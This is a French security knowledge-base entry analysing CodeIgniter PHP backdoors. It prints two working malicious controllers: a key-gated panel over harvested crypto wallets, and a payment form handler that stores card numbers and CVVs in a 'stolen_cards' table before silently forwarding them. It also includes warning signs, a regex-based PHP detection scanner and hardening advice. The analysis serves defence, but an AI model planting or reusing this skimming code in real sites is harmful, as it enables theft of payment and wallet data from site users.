Explorer
KNOW-PAT-050

Backdoor PHP CodeIgniter pour exfiltration de données

Domaine
cybersecu
Type
pattern
Priorité
P2

Parent : [[INDEX-CYBERSECU]]

Backdoor PHP CodeIgniter pour exfiltration de données

Problème

Les attaquants utilisent des classes CodeIgniter (MY_Controller) pour créer des backdoors ressemblant à des fonctionnalités légitimes ("Security", "Web3stats") tout en exfiltrant des données sensibles vers des bases de données locales ou externes.

Solution

Auditer les controllers CodeIgniter personnalisés. Surveiller les méthodes accédant à des données sensibles sans authentification appropriée.

Implémentation

Backdoor Web3stats - Archive Ygg

<?php
// Web3stats.php - Backdoor de collecte de wallets

defined('BASEPATH') OR exit('No direct script access allowed');

class Web3stats extends MY_Controller {
    
    // Clé d'accès "secrète" hardcodée
    private const ACCESS_KEY = 'd3ShGIbbX3';

    public function __construct() {
        parent::__construct();
        $this->load->helper('date');
    }

    // Validation faible de l'accès
    private function validateAccess($key) {
        return $key === self::ACCESS_KEY;  // Comparaison simple
    }

    // Point d'entrée principal - Panel d'admin des victimes
    public function index() {
        $key = $this->input->get('key');
        
        // Authentification par query param (NON SÉCURISÉ)
        if (!$this->validateAccess($key)) {
            show_404();  // Fuite silencieuse
            return;
        }

        $page = $this->input->get('page') ?: 1;
        $per_page = 10;
        $offset = ($page - 1) * $per_page;

        // Collecte des stats de victimes
        $data = [
            'total_wallets' => $this->getTotalWallets(),
            'today_count' => $this->getTodayCount(),
            'yesterday_count' => $this->getYesterdayCount(),
            'unique_users' => $this->getUniqueUsers(),
            'recent_logs' => $this->getRecentLogs($per_page, $offset),
            'pagination' => $this->getPagination($page, $per_page),
            'wallet_distribution' => $this->getWalletDistribution(),
            'key' => $key  // Maintient la clé dans les liens
        ];

        // Rendu du panel admin
        $this->load->view('misc/web3', $data);
    }

    // Méthodes de collecte
    private function getTotalWallets() {
        return $this->db->count_all('web3_stats');  // Table de victimes
    }

    private function getTodayCount() {
        $today_start = strtotime('today midnight');
        return $this->db
            ->where('timestamp >=', $today_start)
            ->count_all_results('web3_stats');
    }

    private function getRecentLogs($limit, $offset) {
        return $this->db
            ->order_by('timestamp', 'DESC')
            ->limit($limit, $offset)
            ->get('web3_stats')
            ->result_array();
    }
}

Backdoor de collecte de paiements - Security.php

<?php
// Security.php - Exfiltration des données de paiement

class Security extends MY_Controller {

    public function processForm() {
        // Token d'invoice (camouflage)
        $token = $this->input->post('token');
        $this->db->where('invoice_id', $token);
        $query = $this->db->get('orders');
        $order = $query->row_array();

        // Fuite silencieuse si invoice invalide
        if (!$order) {
            redirect('https://www.google.com');
            return;
        }
        
        // COLLECTION DES DONNÉES DE CARTE BANCAIRE
        $postData = [
            'cardOwner' => $this->input->post('cardOwner'),  // Titulaire
            'pan' => $this->input->post('pan'),              // Numéro carte (PAN)
            'month' => $this->input->post('month'),          // Mois expiration
            'year' => $this->input->post('year'),            // Année expiration  
            'cvv' => $this->input->post('cvv')               // Cryptogramme CVV
        ];

        // STOCKAGE local pour exfiltration ultérieure
        $this->db->insert('stolen_cards', [
            'invoice_id' => $token,
            'card_data' => json_encode($postData),
            'ip_address' => $this->input->ip_address(),
            'user_agent' => $this->input->user_agent(),
            'timestamp' => time()
        ]);

        // Redirection vers vrai processeur (camouflage)
        ?>
        Redirection...
        <form id="redirectForm" action="<?= $order['invoice_page']; ?>" method="POST">
            <?php
            foreach ($postData as $key => $value) {
                echo '<input type="hidden" name="' . htmlspecialchars($key) . 
                     '" value="' . htmlspecialchars($value) . '">';
            }
            ?>
        </form>
        <script>document.getElementById('redirectForm').submit();</script>
        <?php
    }
}

Schéma de l'architecture backdoor

┌─────────────────┐     ┌─────────────────┐     ┌─────────────────┐
│   Victime       │────▶│  Controller     │────▶│  Base données   │
│   (soumission   │     │  CodeIgniter    │     │  locale         │
│   formulaire)   │     │  compromis      │     │  web3_stats     │
└─────────────────┘     └────────┬────────┘     └─────────────────┘
                                   │
                    ┌──────────────┴──────────────┐
                    │                             │
                    ▼                             ▼
          ┌─────────────────┐           ┌─────────────────┐
          │  Stockage       │           │  Panel admin  │
          │  local (cards)  │           │  ?key=xxx     │
          └─────────────────┘           └─────────────────┘
                    │                           │
                    └────────────┬──────────────┘
                                 ▼
                       ┌─────────────────┐
                       │  Exfiltration   │
                       │  périodique    │
                       └─────────────────┘

Signaux d'alerte

  • Clés hardcodées : private const ACCESS_KEY = 'd3ShGIbbX3'
  • Authentification par GET : $this->input->get('key') (visible dans logs/URL)
  • show_404() silencieux : Échec d'auth = page 404 (pas d'erreur explicite)
  • Noms trompeurs : Security, Web3stats (semblent légitimes)
  • Tables suspectes : web3_stats, stolen_cards, collected_data
  • Redirections externes : redirect('https://www.google.com') après échec
  • Champs sensibles : pan, cvv, cardOwner sans encryption
  • Auto-submit JS : Formulaires qui se soumettent automatiquement

Détection

// Audit de sécurité CodeIgniter
function auditControllers($directory) {
    $risks = [];
    $files = glob($directory . '/*.php');
    
    foreach ($files as $file) {
        $code = file_get_contents($file);
        $risk = 0;
        $flags = [];
        
        // Patterns suspects
        if (preg_match('/private\s+const\s+ACCESS_KEY\s*=\s*[\'"][^\'"]+[\'"]/', $code)) {
            $risk += 3;
            $flags[] = 'HARDCODED_KEY';
        }
        
        if (preg_match('/input->get\([\'"]key[\'"]\)/', $code)) {
            $risk += 2;
            $flags[] = 'GET_AUTH';
        }
        
        if (preg_match('/show_404\(\)/', $code) && preg_match('/validateAccess|check/', $code)) {
            $risk += 2;
            $flags[] = 'SILENT_FAIL';
        }
        
        if (preg_match('/pan|cvv|cardOwner/', $code)) {
            $risk += 3;
            $flags[] = 'CARD_DATA';
        }
        
        if (preg_match('/insert.*stolen|web3_stats|collected/', $code)) {
            $risk += 3;
            $flags[] = 'SUSPICIOUS_TABLE';
        }
        
        if ($risk >= 5) {
            $risks[] = [
                'file' => $file,
                'risk_score' => $risk,
                'flags' => $flags
            ];
        }
    }
    
    return $risks;
}

Comment se prot[ée]ger

  • D[ée]sactiver eval() et functions dangereuses via php.ini (disable_functions)
  • WAF avec r[è]gles de d[ée]tection de webshells
  • File integrity monitoring (FIM) sur le codebase
  • Audit r[ée]gulier des fichiers avec git diff
  • Isolation PHP-FPM par site (pool s[ée]par[ée])

Références

  • Archive Ygg : 06_ACTIVITE_MALVEILLANTE/06c_crypto_stealer/Web3stats.php
  • Archive Ygg : 06_ACTIVITE_MALVEILLANTE/06d_payment_mitm/Security.php
  • Framework : CodeIgniter 3.x (MY_Controller)
  • Technique : Web shell, data exfiltration, hardcoded backdoor